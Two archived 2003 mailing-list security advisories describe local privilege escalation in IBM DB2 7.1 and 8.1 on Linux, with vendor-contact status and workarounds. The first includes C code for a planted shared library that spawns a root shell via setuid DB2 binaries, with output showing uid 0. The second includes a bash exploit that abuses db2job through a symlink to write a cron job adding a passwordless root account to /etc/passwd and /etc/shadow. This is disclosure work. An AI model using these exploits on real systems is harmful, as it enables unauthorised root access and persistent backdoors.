108883 2003-08-05 19:31 /147 rader/ <pask@cmlc.upv.es>
Importerad: 2003-08-05 19:31 av Brevbäraren
Extern mottagare: full-disclosure@lists.netsys.com
Mottagare: Bugtraq (import) <5896>
Ärende: Slight privilege elevation from bin to root in IBM DB2 7.1 - 8.1 all binaries
------------------------------------------------------------
Title: Local Vulnerability in IBM DB2 7.1 - 8.1 all binaries
Date: 27-07-2003
Platform: Only tested in Linux but can be exported to others.
Only versions 7.1 and Enterprise Server Edition v8.1 were checked
but could affect other versions.
Impact: Slight privilege elevation from bin to root.
Author: Juan Manuel Pascual Escriba <pask@uninet.edu>
Status: Vendor contacted details below.
PROBLEM SUMMARY:
DB2 Universal Data Base Enterprise Server Edition versions 7.1 and 8.1 are installed
in /home directories and put its libraries in:
/usr/IBMdb2/V7.1/lib in 7.1 Version
/opt/IBM/db2/V8.1/lib in 8.1 Version
In both versions the lib directory is owned by bin.bin. If some local
or remote attacker could compromise bin account, it would be
possible to elevate privileges to root inmediatly via a so library
creation.
DESCRIPTION
db2 libraries are installed owned by bin in my default installation
in 7.1 & 8.1 versions
[pask@dimoniet home]$ ls -alc /usr/IBMdb2/V7.1
...
drwxr-xr-x 2 bin bin 4096 Jun 21 2002 java12
drwxr-xr-x 2 bin bin 4096 Jul 30 19:54 lib
drwxr-xr-x 2 bin bin 4096 Jun 21 2002 map
...
[pask@dimoniet home]$ ls -alc /opt/IBM/db2/V8.1/
...
drwxr-xr-x 2 bin bin 4096 Dec 11 2002 java
drwxr-xr-x 2 bin bin 4096 Dec 11 2002 lib
drwxr-xr-x 30 bin bin 4096 Dec 11 2002 license
drwxr-xr-x 2 bin bin 4096 Dec 11 2002 map
...
For bin user is too easy to create a so.lib, something like
#include <stdio.h>
#include <string.h>
_init() {
printf("en el _init()\n");
printf("Con PID=%i y EUID=%i",getpid(),getuid());
system("/bin/bash");
printf("Saliendo del Init()\n");
}
compiling in /usr/IBMdb2/V7.1/lib/libdl.so.2 and exec some
root-setuided binary, for example
-r-s--x--x 1 root db2asgrp 15557 Jul 31 00:42 db2cacpy
-r-sr-s--x 1 root db2asgrp 17562 Jun 21 2002 db2dari
-r-s--x--x 1 root db2asgrp 68291 Jun 21 2002 db2genp
-r-sr-x--x 1 root db2asgrp 97722 Jun 21 2002 db2licd
-r-sr-s--x 1 root db2asgrp 23063 Jul 29 03:15 db2start
-r-sr-s--x 1 root db2asgrp 24396 Jun 21 2002 db2stop
-r-sr-s--- 1 root db2asgrp 50879 Jun 21 2002 db2sysc
-r-sr-s--x 1 root db2asgrp 81925 Jun 21 2002 db2udf
-r-sr-s--x 1 root db2asgrp 16940 Jun 21 2002 db2udfi
[bin@dimoniet adm]$ /home/db2as/sqllib/adm/db2cacpy
/home/db2as/sqllib/adm/db2cacpy: /usr/IBMdb2/V7.1/lib/libdl.so.2: no
version information available (required by
/usr/IBMdb2/V7.1/lib/libdb2.so.1) /home/db2as/sqllib/adm/db2cacpy:
/usr/IBMdb2/V7.1/lib/libdl.so.2: no version information available
(required by /usr/IBMdb2/V7.1/lib/libdb2.so.1) en el _init() Con
PID=10477 y EUID=0 No value for $TERM and no -T specified No value
for $TERM and no -T specified [root@dimoniet adm]# id uid=0(root)
gid=0(root) groups=1(bin) [root@dimoniet adm]# exit exit Saliendo del
Init() [bin@dimoniet adm]$
For 8.1 installation, the same strategy. I create a
/opt/IBM/db2/V8.1/lib/libdl.so.2 and exec some of this files (exists
more root-setuided files in other directories)
-r-s--x--x 1 root db2grp1 70445 Dec 11 2002 db2cacpy
-r-sr-s--x 1 root db2grp1 78272 Dec 11 2002 db2fmp
-r-sr-s--x 1 root db2grp1 75101 Dec 11 2002 db2fmpterm
-r-s--x--x 1 root db2grp1 101419 Dec 11 2002 db2genp
-r-sr-x--x 1 root db2grp1 180378 Dec 11 2002 db2licd
-r-sr-s--x 1 root db2grp1 38044 Dec 11 2002 db2start
-r-sr-s--x 1 root db2grp1 84713 Dec 11 2002 db2stop
[bin@dimoniet adm]$ ./db2start ./db2start:
/opt/IBM/db2/V8.1/lib/libdl.so.2: no version information available
(required by /opt/IBM/db2/V8.1/lib/libdb2e.so.1) ./db2start:
/opt/IBM/db2/V8.1/lib/libdl.so.2: no version information available
(required by /opt/IBM/db2/V8.1/lib/libdb2e.so.1) ./db2start:
/opt/IBM/db2/V8.1/lib/libdl.so.2: no version information available
(required by /opt/IBM/db2/V8.1/lib/libdb2osse.so.1) ./db2start:
/opt/IBM/db2/V8.1/lib/libdl.so.2: no version information available
(required by /opt/IBM/db2/V8.1/lib/libdb2osse.so.1) en el _init() Con
PID=10540 Con EUID=0 No value for $TERM and no -T specified No value
for $TERM and no -T specified [root@dimoniet adm]# id uid=0(root)
gid=0(root) groups=1(bin) [root@dimoniet adm]# exit exit Saliendo del
Init() SQL1042C An unexpected system error occurred. SQLSTATE=58004
IMPACT:
bin user can gain root privileges through db2 installation
EXPLOIT
commented above.
WORKAROUND
chown to root the db2 lib directory and libraries
STATUS
This bug was reported to security-alert@austin.ibm.com on July
27. After that on July 29 IBM sec staff forwards as bcc my emails to
with db2 security team. At 5th August i have'nt any idea about db2
sec team emails or how to contact with it.
--------------------------------------------------
This vulnerability was researched by:
Juan Manuel Pascual Escriba pask@uninet.edu
http://concepcion.upv.es/~pask/advisories/2003/IBM%20DB2%20so-libraries
(108883) / <pask@cmlc.upv.es>/------------(Ombruten)
108884 2003-08-05 19:45 /103 rader/ <pask@cmlc.upv.es>
Importerad: 2003-08-05 19:45 av Brevbäraren
Extern mottagare: full-disclosure@lists.netsys.com
Mottagare: Bugtraq (import) <5897>
Ärende: Local Vulnerability in IBM DB2 7.1 db2job binary
------------------------------------------------------------
Title: Local Vulnerability in IBM DB2 7.1 db2job binary
Date: 27-07-2003
Platform: Only tested in Linux but can be exported to others.
Impact: Users with exec perm over ./db2as/sqllib/adm/db2job can create files
with 770 mode and owned by root.
Author: Juan Manuel Pascual Escriba <pask@uninet.edu>
Status: Vendor contacted details below.
PROBLEM SUMMARY:
There is a write permisions checking error in db2job binary that can
be used by local users with exec perm over db2job to write any file
owned by root with mode 770.
DESCRIPTION
db2job is installed with 4550 perm and owned by root.db2asgrp in my
default installation
[pask@dimoniet home]$ ls -alc ./db2as/sqllib/adm/db2job
-r-sr-x--- 1 root db2asgrp 339402 Jun 21 2002 ./db2as/sqllib/adm/db2job
only db2as and db2inst1 are in db2asgrp then they are the only users
that can achieve root privileges with this bug. Always the
sysmanager can chmod 6555 db2job for admin purposes, and the users
go wide.
The binary does'nt drop privileges before writing the log and writes
the next files owned by root:
-rw-r----- 1 root db2asgrp /home/db2as/sqllib/db2jobht.prf
-rw-r----- 1 root db2asgrp /home/db2as/sqllib/db2jobht.bak
-rw-r----- 1 root db2asgrp /home/db2as/sqllib/db2jobsm.bak
-rwxrwx--- 1 root db2asgrp /home/db2as/sqllib/0_1.out
IMPACT:
Easy to overwrite or create new files owned by root (.rhosts,
cron files) via link injection....
EXPLOIT
#!/bin/bash
DB2JOB=/home/db2as/sqllib/adm/db2job
CRONFILE=/etc/cron.hourly/pakito
USER=pakito
unset DB2INSTANCE
export DB2DIR=./trash
if [ -d $DB2DIR ]; then
echo Trash directory already created
else
mkdir $DB2DIR
fi
cd $DB2DIR
if [ -f ./0_1.out ]; then
echo Link Already Created
else
ln -s $CRONFILE ./0_1.out
fi
$DB2JOB
echo "echo "#!/bin/bash"" > $CRONFILE echo "echo
"$USER:x:0:0::/:/bin/bash" >> /etc/passwd" >> $CRONFILE echo "echo
"$USER::12032:0:99999:7:::" >> /etc/shadow" >> $CRONFILE echo " must
wait until cron execute $CRONFILE and then exec su pakito"
STATUS
This bug was reported to security-alert@austin.ibm.com on
July 27. After that on July 29 IBM sec staff forwards as bcc my
emails to with db2 security team. At 5th August i have'nt any idea
about db2 sec team emails or how to contact it.
--------------------------------------------------
This vulnerability was researched by:
Juan Manuel Pascual Escriba pask@uninet.edu
http://concepcion.upv.es/~pask/advisories/2003/IBM%20DB2%20db2job
(108884) / <pask@cmlc.upv.es>/------------(Ombruten)